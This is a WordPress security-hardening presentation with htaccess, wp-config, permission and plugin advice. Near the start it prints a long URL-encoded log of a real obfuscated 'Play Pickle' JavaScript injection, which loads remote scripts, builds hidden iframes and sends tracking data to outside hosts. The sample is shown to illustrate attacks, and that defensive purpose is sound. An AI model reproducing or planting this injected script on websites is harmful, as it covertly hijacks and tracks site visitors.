Hide The Keys To The Castle!

Database, htaccess, ftp and configuration tips and tricks to harden and obfuscate your WordPress.org sites

Robert De Young, CGMA
Blue Lotus Works, LLC
bluelotusworks.com

- Any Vulnerable Website Is Probably The Target!
- WordPress is a high quality, secure content management system.
- Your Goals
  - Establish a more secure environment.
  - Protect against exploit attacks, even if your site(s) are a "carrier".
  - Make it just hard enough to attack your site(s) that "drive by" hackers will look for an easier target.

You're Probably Not The Target!

```
REQUEST.2;___cssNode_media_=+screen%3B+++document.getElementsByTagName%5C%22head%5C%220.appendChildcssNode%3Bvar+FACONF+%3D+adDiv%3A+null%2C+++freeGamesCollection%3A+null%2C+++adSrc%3A+http%3A%2F%2Faa.static.facdn.com%2Fv%2Fpp%2Fpp_neu.swf%3F4
%2CshowExpanded%3A+1%2C+++gameSrc%3A+%2CsliderSrc%3A+http%3A%2F%2Faa.static.facdn.com%2Fv%2Fswf%2FslidebarBrandPP.swf%2ChelpUrl%3A+http%3A%2F%2Fplaypickle.com%2Cloc%3A+location.href+++%5C%22%5C%22%2CdispEngineVer%3A+0%2CtransHelp%3A+%5C%22http
%3A%2F%2Ftt.plpickle.com%2Fbar%2Fplpickle_popup.html%5C%22%2CtransHome%3A+%5C%22PlayPickle.com%5C%22%2CbrandingBarUrl%3A+http%3A%2F%2Ftt.plpickle.com%2Fbar%2Fbar.php%3Fs%3DPP%2Cinit%3A+function++try++++if+navigator.userAgent.search%2FMSIE+6%2F+%3D%3
D+-1+, REQUEST.typeofFA_peelVar_!=+%5C%22undefined%5C%22+++++++++++++var+FAPeelScript+%3D+document.createElementscript%3B++++++++++++FAPeelScript.src+%3D+http%3A%2F%2Faa.static.facdn.com%2Fv%2Fpp%2Fpagepeel.js%3B++++++++++++FAPeelScri
 pt.type+%3D+text%2Fjavascript%3B++++++++++++FAPeelScript.id+%3D+FAPeelScript%3B++++++++++++document.getElementsByTagName%5C%22head%5C%220.appendChildFAPeelScript%3B+++++++++ifFA.dispEngineVer+%3D%3D+5+,
REQUEST.typeofFA_displayURL_!=+undefined+++++++++++++var+FATransitional+%3D+document.createElementscript%3B++++++++++++FATransitional.src+%3D+http%3A%2F%2Faa.static.facdn.com%2Fv%2Flib%2Ftransitional.js%3F7%3B++++++++++++FATransitional.type+%3D+text%2F
javascript%3B++++++++++++FATransitional.id+%3D+FATransitionalScript%3B++++++++++++document.getElementsByTagName%5C%22head%5C%220.appendChildFATransitional%3B+++++++++if+navigator.userAgent.search%2FMSIE+6%2F+%3D%3D+-
1++++iftypeofFA.sliderVar2+%21%3D+%5C%22undefined%5C%22+++++++++++++++FA.showSlideBar%3B++++++++++++else+iftypeofFA.bannerAd+%21%3D+%5C%22undefined%5C%22++++++++++++++FA.showBanner%3B+++++++++if+FA.keywordArray.length+%3C+1+return%3B
+++++++++if+FA.adDiv+%3D%3D+null+++++++++++++FA.adDiv+%3D+document.createElementDIV%
 3B++++++FA.adDiv.onmouseover+%3D+FA.onAdMouseOver%3B++++++FA.adDiv.onmouseout+%3D+FA.onAdMouseOut%3B++++++++++++FA.adDiv.setAttributeclass%2C+FAAdDiv%3B++++++++++++FA.adDiv.setAttributeclassName%2C+FAAdDiv%3B++++++++++++FA.adDiv.style.width+
+%3D+1px%3B++++++++++++FA.adDiv.style.height+%3D+1px%3B++++++++++++FA.adDiv.style.left+%3D+%5C%220px%5C%22%3B+++++++++FA.adDiv.style.top+%3D+%5C%220px%5C%22%3B++++++++++++FA.adDiv.unselectable+%3D+%5C%22on%5C%22%3B++++++FA.adDiv
.onselectstart+%3D+function+++++++return+false%3B++++++%3B++++++document.body.appendChildFA.adDiv%3B++++++FA.appendCacheDiv%3B+++++++++++++for+var+i%3D0%3B+i+%3C+FA.keywordArray.length%3B+i++++++++++++++forvar+kwrd+in+FA.nodesMap++++++++
++++++ifFA.nodesMapkwrd+%21%3D+null+,
REQUEST.kwrd_indexOfFA_keywordArrayi_keyword_>=+0+++++++++++++++++++++ifFA.highlightTextFA.nodesMapkwrd%2C+i+++++++++++++++++++++++FA.nodesMapkwrd+%3D+null%3B++++++++++++++++++++++break%3B++++++++++++++++++++++++++
+++++++var+cks+%3D+%3B
 for+var+i%3D0%3B+i+%3C+FA.keywordArray.length%3B+i+++if+FA.keywordArrayi.found+if+cks+%21%3D++cks++%3D+-
%3Bcks++%3D+FA.keywordArrayi.ck%3Bif+cks+%21%3D++hksTrackingImage+%3D+document.createElement%5C%22img%5C%22%3BhksTrackingImage.src+%3D+FA.hksBase+++cks+++%5C%22,
REQUEST.t=%5C%22+++FA.keywordArray.length%3BhksTrackingImage.width+%3D+1%3BhksTrackingImage.height+%3D+1%3Bdocument.body.appendChildhksTrackingImage%3B++++++++++++if+FA.isIE+,
REQUEST.FA_iFrame_=%3D+null+++++++++++++++++FA.iFrame+%3D+document.createElementIFRAME%3B++++++++++++++FA.iFrame.setAttributesrc%2C+%3B++++++++++++++FA.iFrame.setAttributeframeborder%2C+0%3B++++++++++++++FA.iFrame.setAttributeclass%2C+FA
Frame%3B++++++++++++++FA.iFrame.setAttributeclassName%2C+FAFrame%3B++++++++++++++FA.iFrame.style.visibility+%3D+hidden%3B++++++++++++++document.body.appendChildFA.iFrame%3B+++++++++++++++++++setTimeoutfunction++FA.teDet%3B+%2C+2500%
3B+catch+ex++++FAActTrinit-ex%3A+++ex.toString+++FA.isIE+%3F+%5C%22%3A%
 5C%22+++ex.description+%3A+%5C%22%5C%22+++%5C%22%3A%5C%22+++FASystem+++%5C%22%3A%5C%22+++navigator.userAgent%3B%2CcreateAdSpan%3A+function+keywordIndex%2C+wordIndex%2C+keyword+FA.linkCount++%3Bvar+aLink+%3D+document.createElement%5C%2
2a%5C%22%3BaLink.id+%3D+%5C%22FALINK_%5C%22+++FA.linkCount+++%5C%22_%5C%22+++wordIndex+++%5C%22_%5C%22+++keywordIndex%3BaLink.className+%3D+%5C%22FAtxtL%5C%22%3BaLink.onmouseover+%3D++FA.onLinkMouseOver%3BaLink.onmouseout+%3D+FA.onLi
nkMouseOut%3BaLink.onclick+%3D+FA.onLinkClick%3BaLink.setAttributehref%2C+,
GET.2;___cssNode_media_=+screen%3B+++document.getElementsByTagName%5C%22head%5C%220.appendChildcssNode%3Bvar+FACONF+%3D+adDiv%3A+null%2C+++freeGamesCollection%3A+null%2C+++adSrc%3A+http%3A%2F%2Faa.static.facdn.com%2Fv%2Fpp%2Fpp_neu.swf%3F4%2Cs
howExpanded%3A+1%2C+++gameSrc%3A+%2CsliderSrc%3A+http%3A%2F%2Faa.static.facdn.com%2Fv%2Fswf%2FslidebarBrandPP.swf%2ChelpUrl%3A+http%3A%2F%2Fplaypickle.com%2Cloc%3A+location.href+++%5C%22%5C%22%2CdispEngi
 neVer%3A+0%2CtransHelp%3A+%5C%22http%3A%2F%2Ftt.plpickle.com%2Fbar%2Fplpickle_popup.html%5C%22%2CtransHome%3A+%5C%22PlayPickle.com%5C%22%2CbrandingBarUrl%3A+http%3A%2F%2Ftt.plpickle.com%2Fbar%2Fbar.php%3Fs%3DPP%2Cinit%3A+function++try++++if+navig
ator.userAgent.search%2FMSIE+6%2F+%3D%3D+-1+,
GET.typeofFA_peelVar_!=+%5C%22undefined%5C%22+++++++++++++var+FAPeelScript+%3D+document.createElementscript%3B++++++++++++FAPeelScript.src+%3D+http%3A%2F%2Faa.static.facdn.com%2Fv%2Fpp%2Fpagepeel.js%3B++++++++++++FAPeelScript.type+%3D+text%2Fjav
ascript%3B++++++++++++FAPeelScript.id+%3D+FAPeelScript%3B++++++++++++document.getElementsByTagName%5C%22head%5C%220.appendChildFAPeelScript%3B+++++++++ifFA.dispEngineVer+%3D%3D+5+,
GET.typeofFA_displayURL_!=+undefined+++++++++++++var+FATransitional+%3D+document.createElementscript%3B++++++++++++FATransitional.src+%3D+http%3A%2F%2Faa.static.facdn.com%2Fv%2Flib%2Ftransitional.js%3F7%3B++++++++++++FATransitional.type+%3D+text%2Fjavas
cript%3B++++++++++
 ++FATransitional.id+%3D+FATransitionalScript%3B++++++++++++document.getElementsByTagName%5C%22head%5C%220.appendChildFATransitional%3B+++++++++if+navigator.userAgent.search%2FMSIE+6%2F+%3D%3D+-
1++++iftypeofFA.sliderVar2+%21%3D+%5C%22undefined%5C%22+++++++++++++++FA.showSlideBar%3B++++++++++++else+iftypeofFA.bannerAd+%21%3D+%5C%22undefined%5C%22++++++++++++++FA.showBanner%3B+++++++++if+FA.keywordArray.length+%3C+1+return%3B
+++++++++if+FA.adDiv+%3D%3D+null+++++++++++++FA.adDiv+%3D+document.createElementDIV%3B++++++FA.adDiv.onmouseover+%3D+FA.onAdMouseOver%3B++++++FA.adDiv.onmouseout+%3D+FA.onAdMouseOut%3B++++++++++++FA.adDiv.setAttributeclass%2C+FAAdDiv%3B+
+++++++++++FA.adDiv.setAttributeclassName%2C+FAAdDiv%3B++++++++++++FA.adDiv.style.width++%3D+1px%3B++++++++++++FA.adDiv.style.height+%3D+1px%3B++++++++++++FA.adDiv.style.left+%3D+%5C%220px%5C%22%3B+++++++++FA.adDiv.style.top+%3D+%5C%22
0px%5C%22%3B++++++++++++FA.adDiv.unselectable+%3D+%5C%22on%5C%22%3B++++++FA.adDiv.onselect
 start+%3D+function+++++++return+false%3B++++++%3B++++++document.body.appendChildFA.adDiv%3B++++++FA.appendCacheDiv%3B+++++++++++++for+var+i%3D0%3B+i+%3C+FA.keywordArray.length%3B+i++++++++++++++forvar+kwrd+in+FA.nodesMap++++++++++++++
+ifFA.nodesMapkwrd+%21%3D+null+,
GET.kwrd_indexOfFA_keywordArrayi_keyword_>=+0+++++++++++++++++++++ifFA.highlightTextFA.nodesMapkwrd%2C+i+++++++++++++++++++++++FA.nodesMapkwrd+%3D+null%3B++++++++++++++++++++++break%3B++++++++++++++++++++++++++++++++
+++var+cks+%3D+%3Bfor+var+i%3D0%3B+i+%3C+FA.keywordArray.length%3B+i+++if+FA.keywordArrayi.found+if+cks+%21%3D++cks++%3D+-
%3Bcks++%3D+FA.keywordArrayi.ck%3Bif+cks+%21%3D++hksTrackingImage+%3D+document.createElement%5C%22img%5C%22%3BhksTrackingImage.src+%3D+FA.hksBase+++cks+++%5C%22,
GET.t=%5C%22+++FA.keywordArray.length%3BhksTrackingImage.width+%3D+1%3BhksTrackingImage.height+%3D+1%3Bdocument.body.appendChildhksTrackingImage%3B++++++++++++if+FA.isIE+, GET.FA_iFrame_=%3D+null+++++++++++++++FA.iF
 rame+%3D+document.createElementIFRAME%3B++++++++++++++FA.iFrame.setAttributesrc%2C+%3B++++++++++++++FA.iFrame.setAttributeframeborder%2C+0%3B++++++++++++++FA.iFrame.setAttributeclass%2C+FAFrame%3B++++++++++++++FA.iFrame.setAttributeclassN
ame%2C+FAFrame%3B++++++++++++++FA.iFrame.style.visibility+%3D+hidden%3B++++++++++++++document.body.appendChildFA.iFrame%3B+++++++++++++++++++setTimeoutfunction++FA.teDet%3B+%2C+2500%3B+catch+ex++++FAActTrinit-
ex%3A+++ex.toString+++FA.isIE+%3F+%5C%22%3A%5C%22+++ex.description+%3A+%5C%22%5C%22+++%5C%22%3A%5C%22+++FASystem+++%5C%22%3A%5C%22+++navigator.userAgent%3B%2CcreateAdSpan%3A+function+keywordIndex%2C+wordIndex%2C+keyword+FA.linkCount+
+%3Bvar+aLink+%3D+document.createElement%5C%22a%5C%22%3BaLink.id+%3D+%5C%22FALINK_%5C%22+++FA.linkCount+++%5C%22_%5C%22+++wordIndex+++%5C%22_%5C%22+++keywordIndex%3BaLink.className+%3D+%5C%22FAtxtL%5C%22%3BaLink.onmouseover+%3D++F
A.onLinkMouseOver%3BaLink.onmouseout+%3D+FA.onLinkMouseOut%3BaLink.oncl
 ick+%3D+FA.onLinkClick%3BaLink.setAttributehref%2C+,
Request URI:
/SOF/ifdocument.getElementByIdFACommonScript%20==%20null%20&amp;&amp;%20typeof%20FASystem%20==%20%22undefined%22%20&amp;&amp;%20document.domain.matchnew%20RegExp%22cltrda%7Cilitili%7Cservads%7Cuwavou%7Cminoodle%7Cplaxxed%7Ccdnclick%7Cjuggleads/.com
%22,%22ig%22%20==%20null%20%7B%20%20%20FASystem%20=%20%22PP%22;%20%20%20var%20cssNode%20=%20document.createElementlink;%20%20%20cssNode.type%20=%20text/css;%20%20%20cssNode.rel%20=%20stylesheet;%20%20%20cssNode.href%20=http:/aa.static.facdn.c
om/v/lib/style.css?2;%20%20%20cssNode.media%20=%20screen;%20%20%20document.getElementsByTagName%22head%220.appendChildcssNode;var%20FACONF%20=%20adDiv:%20null,%20%20%20freeGamesCollection:%20null,%20%20%20adSrc:%20http://aa.static.facdn.com/v/pp/pp_neu.s
wf?4,showExpanded:%201,%20%20%20gameSrc:%20,sliderSrc:%20http://aa.static.facdn.com/v/swf/slidebarBrandPP.swf,helpUrl:%20http://playpickle.com,loc:%20location.href%20+%20%22%22,dispEngineVer:%200,transHelp:%20%22http://tt.plpickle.co
 m/bar/plpickle_popup.html%22,transHome:%20%22PlayPickle.com%22,brandingBarUrl:%20http://tt.plpickle.com/bar/bar.php?s=PP,init:%20function%20%20try%20%20%20%20if%20navigator.userAgent.search/MSIE%206/%20==%20-
1%20&amp;&amp;%20typeofFA.peelVar%20!=%20%22undefined%22%20%20%20%20%20%20%20%20%20%20%20%20var%20FAPeelScript%20=%20document.createElementscript;%20%20%20%20%20%20%20%20%20%20%20%20FAPeelScript.src%20=%20http://aa.static.facdn.com/v/pp/
pagepeel.js;%20%20%20%20%20%20%20%20%20%20%20%20FAPeelScript.type%20=%20text/javascript;%20%20%20%20%20%20%20%20%20%20%20%20FAPeelScript.id%20=%20FAPeelScript;%20%20%20%20%20%20%20%20%20%20%20%20document.getElementsByTagName%22head%2
20.appendChildFAPeelScript;%20%20%20%20%20%20%20%20%20ifFA.dispEngineVer%20==%205%20&amp;&amp;%20typeofFA.displayURL%20!=%20undefined%20%20%20%20%20%20%20%20%20%20%20%20var%20FATransitional%20=%20document.createElementscript;%20%20%20%2
0%20%20%20%20%20%20%20%20FATransitional.src%20=%20http://aa.static.fa
 cdn.com/v/lib/transitional.js?7;%20%20%20%20%20%20%20%20%20%20%20%20FATransitional.type%20=%20text/javascript;%20%20%20%20%20%20%20%20%20%20%20%20FATransitional.id%20=%20FATransitionalScript;%20%20%20%20%20%20%20%20%20%20%20%20document.getEle
mentsByTagName%22head%220.appendChildFATransitional;%20%20%20%20%20%20%20%20%20if%20navigator.userAgent.search/MSIE%206/%20==%20-
1%20%20%20%20iftypeofFA.sliderVar2%20!=%20%22undefined%22%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20FA.showSlideBar;%20%20%20%20%20%20%20%20%20%20%20%20else%20iftypeofFA.bannerAd%20!=%20%22undefined%22%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20FA.showBanner;%20%20%20%20%20%20%20%20%20if%20FA.keywordArray.length%20%3C%201%20return;%20%20%20%20%20%20%20%20%20if%20FA.adDiv%20==%20null%20%20%20%20%20%20%20%20%20%20%20%20%20FA.adDiv%20=%20document.
createElementDIV;%20%20%20%20%20%20FA.adDiv.onmouseover%20=%20FA.onAdMouseOver;%20%20%20%20%20%20FA.adDiv.onmouseout%20=%20FA.onAdMouseOut;%20%20%20%20%20%20%20%20%20%20%20%20
 20%20%20FA.adDiv.setAttributeclass,%20FAAdDiv;%20%20%20%20%20%20%20%20%20%20%20%20FA.adDiv.setAttributeclassName,%20FAAdDiv;%20%20%20%20%20%20%20%20%20%20%20%20FA.adDiv.style.width%20=%201px;%20%20%20%20%20%20%20%20%20%20%20%20FA
.adDiv.style.height%20=%201px;%20%20%20%20%20%20%20%20%20%20%20%20FA.adDiv.style.left%20=%20%220px%22;%20%20%20%20%20%20%20%20%20FA.adDiv.style.top%20=%20%220px%22;%20%20%20%20%20%20%20%20%20%20%20%20FA.adDiv.unselectable%20=%20%2
2on%22;%20%20%20%20%20%20FA.adDiv.onselectstart%20=%20function%20%20%20%20%20%20%20return%20false;%20%20%20%20%20%20;%20%20%20%20%20%20document.body.appendChildFA.adDiv;%20%20%20%20%20%20FA.appendCacheDiv;%20%20%20%20%20%20%20%20%20
20%20%20%20%20for%20var%20i=0;%20i%20%3C%20FA.keywordArray.length;%20i++%20%20%20%20%20%20%20%20%20%20%20%20%20%20forvar%20kwrd%20in%20FA.nodesMap%20%20%20%20%20%20%20%20%20%20%20%20%20%20ifFA.nodesMapkwrd%20!=%20null%20&amp;&amp;
%20kwrd.indexOfFA.keywordArrayi.keyword%20%3E=%200%20%20%20%20%20%2
 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20ifFA.highlightTextFA.nodesMapkwrd,%20i%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20FA.nodesMapkwrd%20=%20null;%20%20%20%20%20%20%20%20%20%20%20%20
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break;%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20cks%20=%20;for%20var%20i=0;%20i%20%3C%20FA.keywordA
rray.length;%20i++%20if%20FA.keywordArrayi.found%20if%20cks%20!=%20%20cks%20+=%20-
;cks%20+=%20FA.keywordArrayi.ck;if%20cks%20!=%20%20hksTrackingImage%20=%20document.createElement%22img%22;hksTrackingImage.src%20=%20FA.hksBase%20+%20cks%20+%20%22&amp;t=%22%20+%20FA.keywordArray.length;hksTrackingImage.width%20=%201;hksTrackingIma
ge.height%20=%201;document.body.appendChildhksTrackingImage;%20%20%20%20%20%20%20%20%20%20%20%20if%20FA.isIE%20&amp;&amp;%20FA.iFrame%20==%20null%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20FA.iFrame%20=%20document.createElemen
 tIFRAME;%20%20%20%20%20%20%20%20%20%20%20%20%20%20FA.iFrame.setAttributesrc,%20;%20%20%20%20%20%20%20%20%20%20%20%20%20%20FA.iFrame.setAttributeframeborder,%200;%20%20%20%20%20%20%20%20%20%20%20%20%20%20FA.iFrame.setAttr
ibuteclass,%20FAFrame;%20%20%20%20%20%20%20%20%20%20%20%20%20%20FA.iFrame.setAttributeclassName,%20FAFrame;%20%20%20%20%20%20%20%20%20%20%20%20%20%20FA.iFrame.style.visibility%20=%20hidden;%20%20%20%20%20%20%20%20%20%20%20%2
0%20%20%20document.body.appendChildFA.iFrame;%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20setTimeoutfunction%20%20FA.teDet;%20,%202500;%20catch%20ex%20%20%20%20FAActTrinit-
ex:%20+%20ex.toString%20+%20FA.isIE%20?%20%22:%22%20+%20ex.description%20:%20%22%22%20+%20%22:%22%20+%20FASystem%20+%20%22:%22%20+%20navigator.userAgent;,createAdSpan:%20function%20keywordIndex,%20wordIndex,%20keyword%20FA.linkCount++;var%20a
Link%20=%20document.createElement%22a%22;aLink.id%20=%20%22FALINK_%22%20+%20FA.linkCount%20+%20%22
 _%22%20+%20wordIndex%20+%20%22_%22%20+%20keywordIndex;aLink.className%20=%20%22FAtxtL%22;aLink.onmouseover%20=%20%20FA.onLinkMouseOver;aLink.onmouseout%20=%20FA.onLinkMouseOut;aLink.onclick%20=%20FA.onLinkClick;aLink.setAttributehref,%20
```

Play Pickle obfuscated javascript (hidden iframe) injection

Hide The Keys To The Castle!
Blue Lotus Works, LLC

- Use a DS, VPS or Network (Cloud) Shared Environment. Don't host on a single shared server...if one site gets hacked, all other sites may be affected.
- Don’t use the “admin” username and user ID 1.
- Don't apply common usage/default settings for site(s) database name, username or table prefix.
- Change the default keys and salts
  https://api.wordpress.org/secret-key/1.1/salt/
- Remove/rename license.txt, readme.html and install.php
- Use strong and different passwords for WordPress admin access, database, FTP, hosting account (change often)
  - http://www.pctools.com/guides/password/
  - https://www.grc.com/passwords.htm
  - http://strongpasswordgenerator.com/

Site Setup & wp-config

- Rename the wp-content directory and add the following to wp-config:

```
define( 'WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] . '/NEWCONTENT' );
define( 'WP_CONTENT_URL', 'http://YOURSITE.com/NEWCONTENT');
define( 'WP_PLUGIN_DIR', $_SERVER['DOCUMENT_ROOT'] . '/NEWCONTENT/plugins' );
define( 'WP_PLUGIN_URL', 'http://YOURSITE.com/NEWCONTENT/plugins');
define( 'PLUGINDIR', $_SERVER['DOCUMENT_ROOT'] . '/NEWCONTENT/plugins' );
```

Place all wp-config modifications noted in this presentation above any require_once or include commands

  - Modify any database references to “wp-content”

- CHMOD Directories, including site root = 755
- CHMOD Files = 644
- CHMOD wp-config = 400, 440 or 640 (400 is most secure)

File Structure

- Turn off server errors

  ServerSignature Off

- Turn off php errors and turn on error logging

  php_flag display_startup_errors off
  php_flag display_errors off
  php_flag log_errors on
  php_value error_log /root/logs/php_error.log (place outside public html if possible)

Don’t use with FastCGI!!! and
use "«?php phpinfo(); ?»" to check server defaults

- Advanced error handling reference

  http://perishablepress.com/press/2008/01/14/advanced-php-error-handling-via-htaccess/

.htaccess (site root)

```
@ini_set('log_errors','On');
@ini_set('display_errors','Off');
@ini_set('error_log','/root/logs/php_error.log');
```

wp-config error logging alternative

- Prevent directory browsing

  Options All -Indexes

- Protect key files (.htaccess, wp-config.php, readme.html, install.php)

  «files FILENAME»
  Order allow,deny
  Deny from all
  «/files»

.htaccess (site root)

```
«IfModule mod_rewrite.c»
RewriteEngine On
RewriteBase /
RewriteRule ^LOGINSLUG wp-login.php?SECRETKEY [R,L]
RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$
RewriteRule ^ADMINSLUG wp-login.php?SECRETKEY&redirect_to=/wp-admin/ [R,L]
RewriteRule ^ADMINSLUG wp-admin/?SECRETKEY [R,L]
RewriteRule ^REGISTERSLUG wp-login.php?SECRETKEY&action=register [R,L]
RewriteCond %{HTTP_REFERER} !^(.*)SITEURL/wp-admin
RewriteCond %{HTTP_REFERER} !^(.*)SITEURL/wp-login\.php
RewriteCond %{HTTP_REFERER} !^(.*)SITEURL/LOGINSLUG
RewriteCond %{HTTP_REFERER} !^(.*)SITEURL/ADMINSLUG
RewriteCond %{HTTP_REFERER} !^(.*)SITEURL/REGISTERSLUG
RewriteCond %{QUERY_STRING} !^SECRETKEY
RewriteCond %{QUERY_STRING} !^action=logout
RewriteCond %{QUERY_STRING} !^action=rp
RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in_.*$
RewriteRule ^wp-login\.php not_found [L]
«/IfModule»
```

"Move" admin and login/register pages

```
# BEGIN Content Protection

# Password protect php
«Files ~ "\.(inc|php|tmp)$"»
AuthUserFile /root/FOLDER(s)/.htpasswd
AuthType basic
AuthName "Restricted Area"
Require valid-user
«/Files»

# Password protect exceptions
«Files async-upload.php»
Order allow,deny
Allow from all
Satisfy any
«/Files»
«Files admin-ajax.php»
Order allow,deny
Allow from all
Satisfy any
«/Files»
«Files load-scripts.php»
Order allow,deny
Allow from all
Satisfy any
«/Files»
# END Content Protection
```

.htaccess - wp-admin

- USERID:MD5Hashpassword
- MD5 Hash Generator
  http://www.htaccesstools.com/htpasswd-generator/
- Place outside public html if possible

Two Factor Authentication
.htaccess - wp-admin .htpasswd

```
# BEGIN Content Protection

#Protect php inc tmp files
«Files ~ "\.(inc|php|tmp)$"»
Order allow,deny
Deny from all
«/Files»

# Protect exceptions
«Files "style.php"»
Order allow,deny
Allow from all
Satisfy any
«/Files»
«Files "xml-sitemap-xsl.php"»
Order allow,deny
Allow from all
Satisfy any
«/Files»
«Files "csshover.htc"»
Order allow,deny
Allow from all
Satisfy any
«/Files»
 # END Content Protection
```

.htaccess - wp-content

```
# BEGIN Content Protection

#Protect php inc tmp files
«Files ~ "\.(inc|php|tmp)$"»
Order allow,deny
Deny from all
«/Files»
# END Content Protection
```

.htaccess - wp-includes

- wp-config Modifications
  - Custom User and Usermeta Tables
    http://codex.wordpress.org/Editing_wp-config.php
  - Disable Plugin/Theme Editor
    define('DISALLOW_FILE_EDIT',true);
  - Disable Plugin/Theme Update/Installation
    define('DISALLOW_FILE_MODS',true);
- Admin SSL
- 5G Firewall and Blacklist
  http://perishablepress.com/5g-firewall-beta/
- XSS-Injections, malicious queries, hide WordPress version and login errors
  http://www.splashnology.com/article/10-wordpress-security-tips/

Really Paranoid?

- Move wp-config one directory level above the WordPress installation (where wp-includes resides)
  May require host to expand open_basedir setting

- Move wp-config anywhere
  http://www.groovypost.com/howto/howto/improve-wordpress-securitty-wp-config-php-location/

Bleeding Edge (aka Not Necessary)

- Exploit Notices
  - Exploit Database - http://www.exploit-db.com/webapps/
  - Secunia Advisories - http://secunia.com/advisories/product/SOFT_W/#list
  - Wpsecure - http://wpsecure.net/
- Scanners
  - Google Safe Browsing diagnostic - http://www.google.com/safebrowsing/diagnostic?site=yoursite.com/
  - Sucuri Sitecheck - http://sitecheck.sucuri.net/scanner/
  - urlQuery.net - http://urlquery.net/
  - Wepawet - http://wepawet.iseclab.org/
- Monitoring & Malware Removal
  - Sucuri - http://sucuri.net/signup
  - WebsiteDefender - http://www.websitedefender.com/ (monitoring only)

Exploit Notices, Scanners & Cleanup

Plugins

- Akismet*
- Bad Behavior*
- Better WP Security*
- BulletProof Security
- Exploit Scanner
- Hotfix*
- Mute Screamer (PHPIDS) - https://phpids.org/
- TimThumb Vulnerability Scanner
- Wordfence Security
- WP Security Scan
- The Auditor (In Closed Beta) - http://interconnectit.com/3928/auditor-closed-beta-3/

UPDATE ALL PLUGINS, THEMES AND WORDPRESS CORE TIMELY!!!

References

- http://secunia.com/advisories/product/SOFT_W/
- http://www.exploit-db.com/
- http://codex.wordpress.org/Editing_wp-config.php
- http://codex.wordpress.org/Hardening_WordPress
- http://codex.wordpress.org/htaccess_for_subdirectories
- http://www.blogtempo.net/security/wordpress-install/
- http://www.livexp.net/wordpress/hardening-wordpress-with-htaccess.htm
- http://www.splashnology.com/article/10-wordpress-security-tips/

bluelotusworks.com/files/

Presentation Location